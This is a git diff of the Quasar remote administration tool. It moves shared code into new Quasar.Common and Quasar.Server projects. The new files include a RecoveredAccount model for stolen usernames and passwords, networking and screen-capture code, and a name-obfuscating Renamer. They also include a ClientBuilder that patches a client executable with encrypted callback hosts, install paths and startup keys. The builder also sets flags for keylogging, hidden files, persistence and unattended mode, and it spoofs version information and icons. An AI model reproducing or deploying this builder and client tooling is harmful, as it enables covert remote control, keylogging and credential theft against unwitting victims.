+ RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type);
+ }
+
+ ///
+ /// Adds Types to the serializer.
+ ///
+ /// The parent type, i.e.: IMessage
+ /// Types to add.
+ public static void AddTypesToSerializer(Type parent, params Type[] types)
+ {
+ foreach (Type type in types)
+ AddTypeToSerializer(parent, type);
+ }
+
+ public static IEnumerable GetPacketTypes(Type type)
+ {
+ return AppDomain.CurrentDomain.GetAssemblies()
+ .SelectMany(s => s.GetTypes())
+ .Where(p => type.IsAssignableFrom(p) && !p.IsInterface);
+ }
+ }
+}
diff --git a/Quasar.Common/Models/Drive.cs b/Quasar.Common/Models/Drive.cs
new file mode 100644
index 000000000..dfae29ffc
--- /dev/null
+++ b/Quasar.Common/Models/Drive.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class Drive
+ {
+ [ProtoMember(1)]
+ public string DisplayName { get; set; }
+
+ [ProtoMember(2)]
+ public string RootDirectory { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/FileChunk.cs b/Quasar.Common/Models/FileChunk.cs
new file mode 100644
index 000000000..cab556461
--- /dev/null
+++ b/Quasar.Common/Models/FileChunk.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class FileChunk
+ {
+ [ProtoMember(1)]
+ public long Offset { get; set; }
+
+ [ProtoMember(2)]
+ public byte[] Data { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/FileSystemEntry.cs b/Quasar.Common/Models/FileSystemEntry.cs
new file mode 100644
index 000000000..216a77f14
--- /dev/null
+++ b/Quasar.Common/Models/FileSystemEntry.cs
@@ -0,0 +1,25 @@
+using System;
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class FileSystemEntry
+ {
+ [ProtoMember(1)]
+ public FileType EntryType { get; set; }
+
+ [ProtoMember(2)]
+ public string Name { get; set; }
+
+ [ProtoMember(3)]
+ public long Size { get; set; }
+
+ [ProtoMember(4)]
+ public DateTime LastAccessTimeUtc { get; set; }
+
+ [ProtoMember(5)]
+ public ContentType? ContentType { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/Process.cs b/Quasar.Common/Models/Process.cs
new file mode 100644
index 000000000..a28496c24
--- /dev/null
+++ b/Quasar.Common/Models/Process.cs
@@ -0,0 +1,17 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class Process
+ {
+ [ProtoMember(1)]
+ public string Name { get; set; }
+
+ [ProtoMember(2)]
+ public int Id { get; set; }
+
+ [ProtoMember(3)]
+ public string MainWindowTitle { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/RecoveredAccount.cs b/Quasar.Common/Models/RecoveredAccount.cs
new file mode 100644
index 000000000..301735475
--- /dev/null
+++ b/Quasar.Common/Models/RecoveredAccount.cs
@@ -0,0 +1,20 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class RecoveredAccount
+ {
+ [ProtoMember(1)]
+ public string Username { get; set; }
+
+ [ProtoMember(2)]
+ public string Password { get; set; }
+
+ [ProtoMember(3)]
+ public string Url { get; set; }
+
+ [ProtoMember(4)]
+ public string Application { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/RegSeekerMatch.cs b/Quasar.Common/Models/RegSeekerMatch.cs
new file mode 100644
index 000000000..3ea4bf575
--- /dev/null
+++ b/Quasar.Common/Models/RegSeekerMatch.cs
@@ -0,0 +1,22 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class RegSeekerMatch
+ {
+ [ProtoMember(1)]
+ public string Key { get; set; }
+
+ [ProtoMember(2)]
+ public RegValueData[] Data { get; set; }
+
+ [ProtoMember(3)]
+ public bool HasSubKeys { get; set; }
+
+ public override string ToString()
+ {
+ return $"({Key}:{Data})";
+ }
+ }
+}
diff --git a/Quasar.Common/Models/RegValueData.cs b/Quasar.Common/Models/RegValueData.cs
new file mode 100644
index 000000000..08a96b6f6
--- /dev/null
+++ b/Quasar.Common/Models/RegValueData.cs
@@ -0,0 +1,18 @@
+using Microsoft.Win32;
+using ProtoBuf;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class RegValueData
+ {
+ [ProtoMember(1)]
+ public string Name { get; set; }
+
+ [ProtoMember(2)]
+ public RegistryValueKind Kind { get; set; }
+
+ [ProtoMember(3)]
+ public byte[] Data { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/StartupItem.cs b/Quasar.Common/Models/StartupItem.cs
new file mode 100644
index 000000000..0e1a090ab
--- /dev/null
+++ b/Quasar.Common/Models/StartupItem.cs
@@ -0,0 +1,18 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class StartupItem
+ {
+ [ProtoMember(1)]
+ public string Name { get; set; }
+
+ [ProtoMember(2)]
+ public string Path { get; set; }
+
+ [ProtoMember(3)]
+ public StartupType Type { get; set; }
+ }
+}
diff --git a/Quasar.Common/Models/TcpConnection.cs b/Quasar.Common/Models/TcpConnection.cs
new file mode 100644
index 000000000..40c4538cb
--- /dev/null
+++ b/Quasar.Common/Models/TcpConnection.cs
@@ -0,0 +1,27 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Models
+{
+ [ProtoContract]
+ public class TcpConnection
+ {
+ [ProtoMember(1)]
+ public string ProcessName { get; set; }
+
+ [ProtoMember(2)]
+ public string LocalAddress { get; set; }
+
+ [ProtoMember(3)]
+ public ushort LocalPort { get; set; }
+
+ [ProtoMember(4)]
+ public string RemoteAddress { get; set; }
+
+ [ProtoMember(5)]
+ public ushort RemotePort { get; set; }
+
+ [ProtoMember(6)]
+ public ConnectionState State { get; set; }
+ }
+}
diff --git a/Quasar.Common/NativeMethods.cs b/Quasar.Common/NativeMethods.cs
new file mode 100644
index 000000000..94f8fcd59
--- /dev/null
+++ b/Quasar.Common/NativeMethods.cs
@@ -0,0 +1,27 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace Quasar.Common
+{
+ ///
+ /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll).
+ ///
+ public class NativeMethods
+ {
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern unsafe int memcpy(void* dst, void* src, uint count);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ public static extern bool DeleteFile(string name);
+ }
+}
diff --git a/Quasar.Common/Networking/ISender.cs b/Quasar.Common/Networking/ISender.cs
new file mode 100644
index 000000000..371105a45
--- /dev/null
+++ b/Quasar.Common/Networking/ISender.cs
@@ -0,0 +1,10 @@
+using Quasar.Common.Messages;
+
+namespace Quasar.Common.Networking
+{
+ public interface ISender
+ {
+ void Send(T message) where T : IMessage;
+ void Disconnect();
+ }
+}
diff --git a/Quasar.Common/Networking/PayloadReader.cs b/Quasar.Common/Networking/PayloadReader.cs
new file mode 100644
index 000000000..c1ad7fc69
--- /dev/null
+++ b/Quasar.Common/Networking/PayloadReader.cs
@@ -0,0 +1,75 @@
+using ProtoBuf;
+using Quasar.Common.Messages;
+using System;
+using System.IO;
+
+namespace Quasar.Common.Networking
+{
+ public class PayloadReader : MemoryStream
+ {
+ private readonly Stream _innerStream;
+ public bool LeaveInnerStreamOpen { get; }
+
+ public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen)
+ {
+ _innerStream = new MemoryStream(payload, 0, length, false, true);
+ LeaveInnerStreamOpen = leaveInnerStreamOpen;
+ }
+
+ public PayloadReader(Stream stream, bool leaveInnerStreamOpen)
+ {
+ _innerStream = stream;
+ LeaveInnerStreamOpen = leaveInnerStreamOpen;
+ }
+
+ public int ReadInteger()
+ {
+ return BitConverter.ToInt32(ReadBytes(4), 0);
+ }
+
+ public byte[] ReadBytes(int length)
+ {
+ if (_innerStream.Position + length <= _innerStream.Length)
+ {
+ byte[] result = new byte[length];
+ _innerStream.Read(result, 0, result.Length);
+ return result;
+ }
+ throw new OverflowException($"Unable to read {length} bytes from stream");
+ }
+
+ ///
+ /// Reads the serialized message of the payload and deserializes it.
+ ///
+ /// The deserialized message of the payload.
+ public IMessage ReadMessage()
+ {
+ ReadInteger();
+ /* Length prefix is ignored here and already handled in Client class,
+ * it would cause to much trouble to check here for split or not fully
+ * received packets.
+ */
+ IMessage message = Serializer.Deserialize(_innerStream);
+ return message;
+ }
+
+ protected override void Dispose(bool disposing)
+ {
+ try
+ {
+ if (LeaveInnerStreamOpen)
+ {
+ _innerStream.Flush();
+ }
+ else
+ {
+ _innerStream.Close();
+ }
+ }
+ finally
+ {
+ base.Dispose(disposing);
+ }
+ }
+ }
+}
diff --git a/Quasar.Common/Networking/PayloadWriter.cs b/Quasar.Common/Networking/PayloadWriter.cs
new file mode 100644
index 000000000..000d808e4
--- /dev/null
+++ b/Quasar.Common/Networking/PayloadWriter.cs
@@ -0,0 +1,65 @@
+using ProtoBuf;
+using Quasar.Common.Messages;
+using System;
+using System.IO;
+
+namespace Quasar.Common.Networking
+{
+ public class PayloadWriter : MemoryStream
+ {
+ private readonly Stream _innerStream;
+ public bool LeaveInnerStreamOpen { get; }
+
+ public PayloadWriter(Stream stream, bool leaveInnerStreamOpen)
+ {
+ _innerStream = stream;
+ LeaveInnerStreamOpen = leaveInnerStreamOpen;
+ }
+
+ public void WriteBytes(byte[] value)
+ {
+ _innerStream.Write(value, 0, value.Length);
+ }
+
+ public void WriteInteger(int value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ ///
+ /// Writes a serialized message as payload to the stream.
+ ///
+ /// The message to write.
+ /// The amount of written bytes to the stream.
+ public int WriteMessage(IMessage message)
+ {
+ using (MemoryStream ms = new MemoryStream())
+ {
+ Serializer.Serialize(ms, message);
+ byte[] payload = ms.ToArray();
+ WriteInteger(payload.Length);
+ WriteBytes(payload);
+ return sizeof(int) + payload.Length;
+ }
+ }
+
+ protected override void Dispose(bool disposing)
+ {
+ try
+ {
+ if (LeaveInnerStreamOpen)
+ {
+ _innerStream.Flush();
+ }
+ else
+ {
+ _innerStream.Close();
+ }
+ }
+ finally
+ {
+ base.Dispose(disposing);
+ }
+ }
+ }
+}
diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs
new file mode 100644
index 000000000..6f846dfbd
--- /dev/null
+++ b/Quasar.Common/Properties/AssemblyInfo.cs
@@ -0,0 +1,37 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Quasar Common")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Quasar")]
+[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+[assembly: InternalsVisibleTo("Quasar.Common.Tests")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.4.1")]
+[assembly: AssemblyFileVersion("1.4.1")]
diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj
new file mode 100644
index 000000000..a474fb816
--- /dev/null
+++ b/Quasar.Common/Quasar.Common.csproj
@@ -0,0 +1,31 @@
+
+
+ net452
+ Library
+ false
+
+
+ ..\bin\Debug\
+ true
+
+
+
+ none
+ ..\bin\Release\
+ true
+
+
+
+
+
+
+
+ 2.4.8
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Quasar.Common/Utilities/ByteConverter.cs b/Quasar.Common/Utilities/ByteConverter.cs
new file mode 100644
index 000000000..9d61baf65
--- /dev/null
+++ b/Quasar.Common/Utilities/ByteConverter.cs
@@ -0,0 +1,135 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Quasar.Common.Utilities
+{
+ public class ByteConverter
+ {
+ private static byte NULL_BYTE = byte.MinValue;
+
+ public static byte[] GetBytes(int value)
+ {
+ return BitConverter.GetBytes(value);
+ }
+
+ public static byte[] GetBytes(long value)
+ {
+ return BitConverter.GetBytes(value);
+ }
+
+ public static byte[] GetBytes(uint value)
+ {
+ return BitConverter.GetBytes(value);
+ }
+
+ public static byte[] GetBytes(ulong value)
+ {
+ return BitConverter.GetBytes(value);
+ }
+
+ public static byte[] GetBytes(string value)
+ {
+ return StringToBytes(value);
+ }
+
+ public static byte[] GetBytes(string[] value)
+ {
+ return StringArrayToBytes(value);
+ }
+
+ public static int ToInt32(byte[] bytes)
+ {
+ return BitConverter.ToInt32(bytes, 0);
+ }
+
+ public static long ToInt64(byte[] bytes)
+ {
+ return BitConverter.ToInt64(bytes, 0);
+ }
+
+ public static uint ToUInt32(byte[] bytes)
+ {
+ return BitConverter.ToUInt32(bytes, 0);
+ }
+
+ public static ulong ToUInt64(byte[] bytes)
+ {
+ return BitConverter.ToUInt64(bytes, 0);
+ }
+
+ public static string ToString(byte[] bytes)
+ {
+ return BytesToString(bytes);
+ }
+
+ public static string[] ToStringArray(byte[] bytes)
+ {
+ return BytesToStringArray(bytes);
+ }
+
+ private static byte[] GetNullBytes()
+ {
+ //Null bytes: 00 00
+ return new byte[] { NULL_BYTE, NULL_BYTE };
+ }
+
+ private static byte[] StringToBytes(string value)
+ {
+ byte[] bytes = new byte[value.Length * sizeof(char)];
+ Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length);
+ return bytes;
+ }
+
+ private static byte[] StringArrayToBytes(string[] strings)
+ {
+ List bytes = new List();
+
+ foreach(string str in strings)
+ {
+ bytes.AddRange(StringToBytes(str));
+ bytes.AddRange(GetNullBytes());
+ }
+
+ return bytes.ToArray();
+ }
+
+ private static string BytesToString(byte[] bytes)
+ {
+ int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char));
+ char[] chars = new char[nrChars];
+ Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length);
+ return new string(chars);
+ }
+
+ private static string[] BytesToStringArray(byte[] bytes)
+ {
+ List strings = new List();
+
+ int i = 0;
+ StringBuilder strBuilder = new StringBuilder(bytes.Length);
+ while (i < bytes.Length)
+ {
+ //Holds the number of nulls (3 nulls indicated end of a string)
+ int nullcount = 0;
+ while (i < bytes.Length && nullcount < 3)
+ {
+ if (bytes[i] == NULL_BYTE)
+ {
+ nullcount++;
+ }
+ else
+ {
+ strBuilder.Append(Convert.ToChar(bytes[i]));
+ nullcount = 0;
+ }
+ i++;
+ }
+ strings.Add(strBuilder.ToString());
+ strBuilder.Clear();
+ }
+
+ return strings.ToArray();
+ }
+ }
+}
diff --git a/Quasar.Common/Utilities/SafeRandom.cs b/Quasar.Common/Utilities/SafeRandom.cs
new file mode 100644
index 000000000..4e9dc1bf9
--- /dev/null
+++ b/Quasar.Common/Utilities/SafeRandom.cs
@@ -0,0 +1,54 @@
+using System;
+using System.Security.Cryptography;
+
+namespace Quasar.Common.Utilities
+{
+ ///
+ /// Thread-safe random number generator.
+ /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx
+ ///
+ public class SafeRandom
+ {
+ private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create();
+
+ [ThreadStatic]
+ private static Random _random;
+
+ private static Random GetRandom()
+ {
+ if (_random == null)
+ {
+ byte[] buffer = new byte[4];
+ GlobalCryptoProvider.GetBytes(buffer);
+ _random = new Random(BitConverter.ToInt32(buffer, 0));
+ }
+
+ return _random;
+ }
+
+ public int Next()
+ {
+ return GetRandom().Next();
+ }
+
+ public int Next(int maxValue)
+ {
+ return GetRandom().Next(maxValue);
+ }
+
+ public int Next(int minValue, int maxValue)
+ {
+ return GetRandom().Next(minValue, maxValue);
+ }
+
+ public void NextBytes(byte[] buffer)
+ {
+ GetRandom().NextBytes(buffer);
+ }
+
+ public double NextDouble()
+ {
+ return GetRandom().NextDouble();
+ }
+ }
+}
diff --git a/Client/Core/Utilities/UnsafeStreamCodec.cs b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs
similarity index 96%
rename from Client/Core/Utilities/UnsafeStreamCodec.cs
rename to Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs
index 174b26600..24511b939 100644
--- a/Client/Core/Utilities/UnsafeStreamCodec.cs
+++ b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs
@@ -1,16 +1,16 @@
-using System;
+using Quasar.Common.Video.Compression;
+using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
-using xClient.Core.Compression;
-namespace xClient.Core.Utilities
+namespace Quasar.Common.Video.Codecs
{
public class UnsafeStreamCodec : IDisposable
{
public int Monitor { get; private set; }
- public string Resolution { get; private set; }
+ public Resolution Resolution { get; private set; }
public Size CheckBlock { get; private set; }
public int ImageQuality
{
@@ -46,7 +46,7 @@ private set
/// The quality to use between 0-100.
/// The monitor used for the images.
/// The resolution of the monitor.
- public UnsafeStreamCodec(int imageQuality, int monitor, string resolution)
+ public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution)
{
this.ImageQuality = imageQuality;
this.Monitor = monitor;
@@ -84,7 +84,17 @@ public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, P
{
lock (_imageProcessLock)
{
- byte* pScan0 = (byte*)scan0.ToInt32();
+ byte* pScan0;
+ if (IntPtr.Size == 8)
+ {
+ // 64 bit process
+ pScan0 = (byte*) scan0.ToInt64();
+ }
+ else
+ {
+ // 32 bit process
+ pScan0 = (byte*)scan0.ToInt32();
+ }
if (!outStream.CanWrite)
{
@@ -367,4 +377,4 @@ public Bitmap DecodeData(Stream inStream)
return _decodedBitmap;
}
}
-}
\ No newline at end of file
+}
diff --git a/Client/Core/Compression/JpgCompression.cs b/Quasar.Common/Video/Compression/JpgCompression.cs
similarity index 97%
rename from Client/Core/Compression/JpgCompression.cs
rename to Quasar.Common/Video/Compression/JpgCompression.cs
index 784ae0769..93de834a7 100644
--- a/Client/Core/Compression/JpgCompression.cs
+++ b/Quasar.Common/Video/Compression/JpgCompression.cs
@@ -3,7 +3,7 @@
using System.Drawing.Imaging;
using System.IO;
-namespace xClient.Core.Compression
+namespace Quasar.Common.Video.Compression
{
public class JpgCompression : IDisposable
{
diff --git a/Quasar.Common/Video/Resolution.cs b/Quasar.Common/Video/Resolution.cs
new file mode 100644
index 000000000..f2b394987
--- /dev/null
+++ b/Quasar.Common/Video/Resolution.cs
@@ -0,0 +1,50 @@
+using System;
+using ProtoBuf;
+
+namespace Quasar.Common.Video
+{
+ [ProtoContract]
+ public class Resolution : IEquatable
+ {
+ [ProtoMember(1)]
+ public int Width { get; set; }
+
+ [ProtoMember(2)]
+ public int Height { get; set; }
+
+ public bool Equals(Resolution other)
+ {
+ if (ReferenceEquals(null, other)) return false;
+ if (ReferenceEquals(this, other)) return true;
+ return Width == other.Width && Height == other.Height;
+ }
+
+ public static bool operator ==(Resolution r1, Resolution r2)
+ {
+ if (ReferenceEquals(r1, null))
+ return ReferenceEquals(r2, null);
+
+ return r1.Equals(r2);
+ }
+
+ public static bool operator !=(Resolution r1, Resolution r2)
+ {
+ return !(r1 == r2);
+ }
+
+ public override bool Equals(object obj)
+ {
+ return Equals(obj as Resolution);
+ }
+
+ public override int GetHashCode()
+ {
+ return Width ^ Height;
+ }
+
+ public override string ToString()
+ {
+ return $"{Width}x{Height}";
+ }
+ }
+}
diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs
new file mode 100644
index 000000000..822dd9893
--- /dev/null
+++ b/Quasar.Server/Build/ClientBuilder.cs
@@ -0,0 +1,225 @@
+using Mono.Cecil;
+using Mono.Cecil.Cil;
+using Quasar.Common.Cryptography;
+using Quasar.Server.Models;
+using System;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using Vestris.ResourceLib;
+
+namespace Quasar.Server.Build
+{
+ ///
+ /// Provides methods used to create a custom client executable.
+ ///
+ public class ClientBuilder
+ {
+ private readonly BuildOptions _options;
+ private readonly string _clientFilePath;
+
+ public ClientBuilder(BuildOptions options, string clientFilePath)
+ {
+ _options = options;
+ _clientFilePath = clientFilePath;
+ }
+
+ ///
+ /// Builds a client executable.
+ ///
+ public void Build()
+ {
+ using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
+ {
+ // PHASE 1 - Writing settings
+ WriteSettings(asmDef);
+
+ // PHASE 2 - Renaming
+ Renamer r = new Renamer(asmDef);
+
+ if (!r.Perform())
+ throw new Exception("renaming failed");
+
+ // PHASE 3 - Saving
+ r.AsmDef.Write(_options.OutputPath);
+ }
+
+ // PHASE 4 - Assembly Information changing
+ if (_options.AssemblyInformation != null)
+ {
+ VersionResource versionResource = new VersionResource();
+ versionResource.LoadFrom(_options.OutputPath);
+
+ versionResource.FileVersion = _options.AssemblyInformation[7];
+ versionResource.ProductVersion = _options.AssemblyInformation[6];
+ versionResource.Language = 0;
+
+ StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
+ stringFileInfo["CompanyName"] = _options.AssemblyInformation[2];
+ stringFileInfo["FileDescription"] = _options.AssemblyInformation[1];
+ stringFileInfo["ProductName"] = _options.AssemblyInformation[0];
+ stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3];
+ stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4];
+ stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
+ stringFileInfo["FileVersion"] = versionResource.FileVersion;
+ stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
+ stringFileInfo["InternalName"] = _options.AssemblyInformation[5];
+ stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5];
+
+ versionResource.SaveTo(_options.OutputPath);
+ }
+
+ // PHASE 5 - Icon changing
+ if (!string.IsNullOrEmpty(_options.IconPath))
+ {
+ IconFile iconFile = new IconFile(_options.IconPath);
+ IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
+ iconDirectoryResource.SaveTo(_options.OutputPath);
+ }
+ }
+
+ private void WriteSettings(AssemblyDefinition asmDef)
+ {
+ var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
+ var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
+
+ var key = serverCertificate.Thumbprint;
+ var aes = new Aes256(key);
+
+ byte[] signature;
+ // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6
+ using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
+ {
+ var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
+ signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
+ }
+
+ foreach (var typeDef in asmDef.Modules[0].Types)
+ {
+ if (typeDef.FullName == "Quasar.Client.Config.Settings")
+ {
+ foreach (var methodDef in typeDef.Methods)
+ {
+ if (methodDef.Name == ".cctor")
+ {
+ int strings = 1, bools = 1;
+
+ for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
+ {
+ if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string
+ {
+ switch (strings)
+ {
+ case 1: //version
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version);
+ break;
+ case 2: //ip/hostname
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts);
+ break;
+ case 3: //installsub
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub);
+ break;
+ case 4: //installname
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName);
+ break;
+ case 5: //mutex
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex);
+ break;
+ case 6: //startupkey
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName);
+ break;
+ case 7: //encryption key
+ methodDef.Body.Instructions[i].Operand = key;
+ break;
+ case 8: //tag
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag);
+ break;
+ case 9: //LogDirectoryName
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
+ break;
+ case 10: //ServerSignature
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
+ break;
+ case 11: //ServerCertificate
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
+ break;
+ }
+ strings++;
+ }
+ else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 ||
+ methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool
+ {
+ switch (bools)
+ {
+ case 1: //install
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install));
+ break;
+ case 2: //startup
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup));
+ break;
+ case 3: //hidefile
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile));
+ break;
+ case 4: //Keylogger
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger));
+ break;
+ case 5: //HideLogDirectory
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory));
+ break;
+ case 6: // HideInstallSubdirectory
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory));
+ break;
+ case 7: // UnattendedMode
+ methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode));
+ break;
+ }
+ bools++;
+ }
+ else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int
+ {
+ //reconnectdelay
+ methodDef.Body.Instructions[i].Operand = _options.Delay;
+ }
+ else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte
+ {
+ methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ ///
+ /// Obtains the OpCode that corresponds to the bool value provided.
+ ///
+ /// The value to convert to the OpCode
+ /// Returns the OpCode that represents the value provided.
+ private OpCode BoolOpCode(bool p)
+ {
+ return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
+ }
+
+ ///
+ /// Attempts to obtain the signed-byte value of a special folder from the install path value provided.
+ ///
+ /// The integer value of the install path.
+ /// Returns the signed-byte value of the special folder.
+ /// Thrown if the path to the special folder was invalid.
+ private sbyte GetSpecialFolder(int installPath)
+ {
+ switch (installPath)
+ {
+ case 1:
+ return (sbyte)Environment.SpecialFolder.ApplicationData;
+ case 2:
+ return (sbyte)Environment.SpecialFolder.ProgramFiles;
+ case 3:
+ return (sbyte)Environment.SpecialFolder.System;
+ default:
+ throw new ArgumentException("InstallPath");
+ }
+ }
+ }
+}
diff --git a/Server/Core/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs
similarity index 92%
rename from Server/Core/Build/Renamer.cs
rename to Quasar.Server/Build/Renamer.cs
index 844d7ea95..fe9ef5288 100644
--- a/Server/Core/Build/Renamer.cs
+++ b/Quasar.Server/Build/Renamer.cs
@@ -1,10 +1,11 @@
-using System;
+using Mono.Cecil;
+using Quasar.Common.Utilities;
+using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
-using Mono.Cecil;
-namespace xServer.Core.Build
+namespace Quasar.Server.Build
{
public class Renamer
{
@@ -56,7 +57,7 @@ public bool Perform()
private void RenameInType(TypeDefinition typeDef)
{
- if (typeDef.Namespace.Contains("NetSerializer") || typeDef.HasInterfaces)
+ if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */)
return;
_typeOverloader.GiveName(typeDef);
@@ -118,8 +119,9 @@ private class MemberOverloader
{
private bool DoRandom { get; set; }
private int StartingLength { get; set; }
- private Dictionary _renamedMembers = new Dictionary();
+ private readonly Dictionary _renamedMembers = new Dictionary();
private readonly char[] _charMap;
+ private readonly SafeRandom _random = new SafeRandom();
private int[] _indices;
public MemberOverloader(int startingLength, bool doRandom = true)
@@ -158,7 +160,7 @@ private string GetRandomName()
for (int i = 0; i < StartingLength; i++)
{
